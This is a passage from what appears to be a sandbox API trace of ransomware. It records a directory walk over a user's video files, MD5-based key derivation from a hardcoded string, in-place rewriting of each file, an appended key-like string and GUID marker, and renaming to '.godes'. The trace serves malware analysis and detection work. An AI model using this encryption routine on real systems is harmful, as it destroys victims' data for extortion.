Flags=0x0, Size=0x90) returned 0x3321398 [0114.751] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.751] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.751] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.751] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.752] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0114.752] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.752] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.752] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.752] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0114.752] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.752] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.752] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.752] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.752] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.752] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.752] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.752] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.752] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.752] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.752] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.752] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.752] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0114.752] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.752] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.752] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.752] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.752] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.752] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.752] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.752] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.752] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.752] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.752] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.752] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.752] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.752] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.752] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.752] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.753] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.753] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.753] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.753] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.753] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.753] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.753] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.753] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.753] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.753] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.753] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.753] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.753] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\nOWtjkGkh\\") returned="nOWtjkGkh\\" [0114.753] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba3f0 [0114.753] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740e28 [0114.753] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.753] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\") returned="y9ZmZISZtA8fIYtTxfZp\\" [0114.753] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c568 [0114.753] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba3f0 | out: hHeap=0x660000) returned 1 [0114.753] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326e0d0 [0114.753] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740e28 | out: hHeap=0x660000) returned 1 [0114.753] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0114.753] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x3284968 [0114.753] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326e0d0 | out: hHeap=0x660000) returned 1 [0114.753] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0114.753] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba3f0 [0114.753] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3284968 | out: hHeap=0x660000) returned 1 [0114.753] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0114.753] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba3f0 | out: hHeap=0x660000) returned 1 [0114.753] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0114.753] PathFindFileNameW (pszPath="") returned="" [0114.753] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.753] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\nOWtjkGkh\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf278700, ftCreationTime.dwHighDateTime=0x1d4d398, ftLastAccessTime.dwLowDateTime=0x8120b890, ftLastAccessTime.dwHighDateTime=0x1d4c957, ftLastWriteTime.dwLowDateTime=0x8120b890, ftLastWriteTime.dwHighDateTime=0x1d4c957, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0114.755] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.755] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf278700, ftCreationTime.dwHighDateTime=0x1d4d398, ftLastAccessTime.dwLowDateTime=0x8120b890, ftLastAccessTime.dwHighDateTime=0x1d4c957, ftLastWriteTime.dwLowDateTime=0x8120b890, ftLastWriteTime.dwHighDateTime=0x1d4c957, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.755] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74930fa0, ftCreationTime.dwHighDateTime=0x1d4c9b7, ftLastAccessTime.dwLowDateTime=0x41631490, ftLastAccessTime.dwHighDateTime=0x1d4cda4, ftLastWriteTime.dwLowDateTime=0x41631490, ftLastWriteTime.dwHighDateTime=0x1d4cda4, nFileSizeHigh=0x0, nFileSizeLow=0x7ce3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1NyKTTnONVZsk.avi", cAlternateFileName="1NYKTT~1.AVI")) returned 1 [0114.755] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.755] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd6) returned 0x3201530 [0114.755] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.755] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\nOWtjkGkh\\1NyKTTnONVZsk.avi") returned=".avi" [0114.755] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\nOWtjkGkh\\1NyKTTnONVZsk.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y9zmziszta8fiyttxfzp\\nowtjkgkh\\1nykttnonvzsk.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0114.756] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=31971) returned 1 [0114.756] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0114.758] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x7cbd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.758] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0114.759] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.759] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x7ce3, lpOverlapped=0x0) returned 1 [0114.760] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.760] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0114.760] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.760] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.760] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x740e28) returned 1 [0114.761] CryptCreateHash (in: hProv=0x740e28, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0114.761] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.761] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0114.761] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0114.761] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0114.761] GetLastError () returned 0x0 [0114.761] CryptDestroyHash (hHash=0x32a6888) returned 1 [0114.761] CryptReleaseContext (hProv=0x740e28, dwFlags=0x0) returned 1 [0114.761] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0114.761] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x7ce0) returned 0x3323120 [0114.761] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0114.761] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.761] WriteFile (in: hFile=0x624, lpBuffer=0x3323120*, nNumberOfBytesToWrite=0x7cde, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3323120*, lpNumberOfBytesWritten=0x3b2fb24*=0x7cde, lpOverlapped=0x0) returned 1 [0114.762] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3323120 | out: hHeap=0x660000) returned 1 [0114.762] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x7ce3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.762] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0114.762] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x331e748 [0114.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x331e748, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0114.762] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x331eb78 [0114.762] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331e748 | out: hHeap=0x660000) returned 1 [0114.762] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0114.762] WriteFile (in: hFile=0x624, lpBuffer=0x331eb78*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x331eb78*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0114.762] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331eb78 | out: hHeap=0x660000) returned 1 [0114.762] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.762] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.762] CloseHandle (hObject=0x624) returned 1 [0114.763] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ea90 [0114.763] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8c0) returned 0x331e748 [0114.763] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ea90 | out: hHeap=0x660000) returned 1 [0114.763] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\nOWtjkGkh\\1NyKTTnONVZsk.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y9zmziszta8fiyttxfzp\\nowtjkgkh\\1nykttnonvzsk.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\nOWtjkGkh\\1NyKTTnONVZsk.avi.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y9zmziszta8fiyttxfzp\\nowtjkgkh\\1nykttnonvzsk.avi.godes")) returned 1 [0114.764] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331e748 | out: hHeap=0x660000) returned 1 [0114.764] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0114.765] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3201530 | out: hHeap=0x660000) returned 1 [0114.765] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x966e92b0, ftCreationTime.dwHighDateTime=0x1d4c81e, ftLastAccessTime.dwLowDateTime=0xeb739e60, ftLastAccessTime.dwHighDateTime=0x1d4cf60, ftLastWriteTime.dwLowDateTime=0xeb739e60, ftLastWriteTime.dwHighDateTime=0x1d4cf60, nFileSizeHigh=0x0, nFileSizeLow=0xb217, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DzCCnOnzxDqfuj.mp4", cAlternateFileName="DZCCNO~1.MP4")) returned 1 [0114.765] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.765] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd6) returned 0x3201530 [0114.765] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.765] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\nOWtjkGkh\\DzCCnOnzxDqfuj.mp4") returned=".mp4" [0114.765] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\nOWtjkGkh\\DzCCnOnzxDqfuj.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y9zmziszta8fiyttxfzp\\nowtjkgkh\\dzccnonzxdqfuj.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0114.765] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=45591) returned 1 [0114.765] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0114.767] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xb1f1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.767] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0114.769] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0114.769] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.769] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.769] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0xb217, lpOverlapped=0x0) returned 1 [0114.769] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.769] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0114.769] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.770] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.770] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x740e28) returned 1 [0114.770] CryptCreateHash (in: hProv=0x740e28, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0114.770] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.770] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0114.770] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0114.770] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0114.770] GetLastError () returned 0x0 [0114.770] CryptDestroyHash (hHash=0x32a6888) returned 1 [0114.771] CryptReleaseContext (hProv=0x740e28, dwFlags=0x0) returned 1 [0114.771] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0114.771] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb220) returned 0x3323120 [0114.771] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0114.771] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.771] WriteFile (in: hFile=0x624, lpBuffer=0x3323120*, nNumberOfBytesToWrite=0xb212, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3323120*, lpNumberOfBytesWritten=0x3b2fb24*=0xb212, lpOverlapped=0x0) returned 1 [0114.771] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3323120 | out: hHeap=0x660000) returned 1 [0114.771] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xb217, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.771] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0114.771] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x331e748 [0114.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x331e748, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0114.771] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x331eb78 [0114.771] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331e748 | out: hHeap=0x660000) returned 1 [0114.771] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0114.771] WriteFile (in: hFile=0x624, lpBuffer=0x331eb78*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x331eb78*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0114.771] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331eb78 | out: hHeap=0x660000) returned 1 [0114.771] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.772] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.772] CloseHandle (hObject=0x624) returned 1 [0114.772] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ea90 [0114.773] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8c0) returned 0x331e748 [0114.773] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ea90 | out: hHeap=0x660000) returned 1 [0114.773] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\nOWtjkGkh\\DzCCnOnzxDqfuj.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y9zmziszta8fiyttxfzp\\nowtjkgkh\\dzccnonzxdqfuj.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\nOWtjkGkh\\DzCCnOnzxDqfuj.mp4.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y9zmziszta8fiyttxfzp\\nowtjkgkh\\dzccnonzxdqfuj.mp4.godes")) returned 1 [0114.773] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331e748 | out: hHeap=0x660000) returned 1 [0114.773] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0114.774] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3201530 | out: hHeap=0x660000) returned 1 [0114.774] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c9afbd0, ftCreationTime.dwHighDateTime=0x1d4d055, ftLastAccessTime.dwLowDateTime=0x1cb14a90, ftLastAccessTime.dwHighDateTime=0x1d4cf3e, ftLastWriteTime.dwLowDateTime=0x1cb14a90, ftLastWriteTime.dwHighDateTime=0x1d4cf3e, nFileSizeHigh=0x0, nFileSizeLow=0x18fb4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jsWtpdCwPYsyb9M.mp4", cAlternateFileName="JSWTPD~1.MP4")) returned 1 [0114.774] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.774] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd6) returned 0x3201530 [0114.774] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.774] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\nOWtjkGkh\\jsWtpdCwPYsyb9M.mp4") returned=".mp4" [0114.774] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\nOWtjkGkh\\jsWtpdCwPYsyb9M.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y9zmziszta8fiyttxfzp\\nowtjkgkh\\jswtpdcwpysyb9m.mp4"), 